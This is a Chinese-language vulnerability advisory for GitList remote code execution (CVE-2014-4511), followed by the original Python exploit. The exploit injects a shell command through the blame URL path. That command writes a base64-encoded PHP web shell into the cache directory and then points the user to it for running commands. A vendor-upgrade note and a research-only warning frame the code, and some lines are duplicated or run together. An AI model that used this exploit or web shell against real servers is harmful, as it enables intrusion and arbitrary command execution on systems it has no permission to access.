GitList远程代码执行漏洞(CVE-2014-4511)

    受影响系统：
    GitList GitList < 0.4.0
     GitList GitList
    描述：
    --------------------------------------------------------------------------------
    BUGTRAQ  ID: 68253
     CVE(CAN) ID: CVE-2014-4511
    GitList是用PHP编写的开源软件，是git库浏览器。
    GitList 0.4.0之前版本在实现上存在远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。
    <*来源：drone
      *>
    测试方法： --------------------------------------------------------------------------------
    警 告
    以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
    复制代码
    代码如下:
    from commands import getoutput
     import urllib
     import sys
     from commands import getoutput
     import urllib
     import sys
    """
     Exploit Title: Gitlist <= 0.4.0 anonymous RCE
     Date: 06/20/2014
     Author: drone (@dronesec)
     Vendor Homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
     Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
     Version: <= 0.4.0
     Fixed in: 0.5.0
     Tested on: Debian 7
     More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
     cve: CVE-2014-4511
     """
    if len(sys.argv) <= 1:
     print '%s: [url to git repo] {cache path}' % sys.argv[0]
     print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
     print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
     sys.exit(1)
    url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
    path = "/var/www/gitlist/cache"
     if len(sys.argv) > 2:
     path = sys.argv[2]
    print '[!] Using cache location %s' % path
    # payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
    # sploit; python requests does not like this URL, hence wget is used
     mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
     mpath = url+ urllib.quote(mpath)
    out = getoutput("wget %s" % mpath)
     if '500' in out:
     print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
     else:
     print '[-] Failed to drop'
     print out
    建议：
    --------------------------------------------------------------------------------
    厂商补丁：
    GitList
     -------
     目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
    http://gitlist.org/